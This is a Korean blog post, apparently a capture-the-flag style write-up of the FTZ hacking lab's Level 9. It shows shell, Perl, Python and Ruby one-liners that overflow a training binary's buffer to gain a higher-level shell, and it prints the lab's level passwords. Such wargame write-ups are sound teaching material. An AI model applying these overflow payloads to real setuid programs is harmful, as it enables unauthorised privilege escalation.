ftz.hackerschool.org의 이미지를 받아 실습했습니다.
-Level9
level9 / apple
buf와 buf2 의 크기가 10바이트라서 입력할 수 있었지만 400바이트 처럼 큰 숫자라면 직접 치면서 오버플로우 시키기 어렵다.
-> 쉘 스크립트를 이용하여 자동으로 입력되도록 한다.
- 쉘 스크립트
|
#for i in `seq 1 16` do printf "A" done #printf "go\n" |
|
[level9@ftz level9]$ for i in `seq 1 16`; do printf "A"; done; printf "go\n"
|
AAAAAAAAAAAAAAAAgo |
|
> 이 구문을 파이프로 넘기기만 하면 된다.
[level9@ftz level9]$ (for i in `seq 1 16`; do printf "A"; done; printf "go\n" ; cat) | /usr/bin/bof
|
It can be overflow : Good Skill! id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass Level10 Password is "interesting to hack!". |
|
> 잘 실행 된다.
- 펄(Perl) 스크립트
[level9@ftz tmp]$ (perl -e 'print "A"x16, "go"'; cat) | /usr/bin/bof
- 파이썬(Python) 스크립트
[level9@ftz tmp]$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof
- 루비(Ruby) 스크립트 ( 실습 이미지에 루비가 설치되어 있지 않습니다. )
[root@kali ~]# (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof
'Security > 리버싱' 카테고리의 다른 글
Level10 분석 (공유 메모리) (0) | 2017.12.01 |
---|---|
Level 10 문제 해결 (공유 메모리 해킹) (0) | 2017.12.01 |
Level9 문제 해결 (0) | 2017.11.30 |
Level8 문제 해결 (0) | 2017.11.30 |
Level7 의사코드 (0) | 2017.11.30 |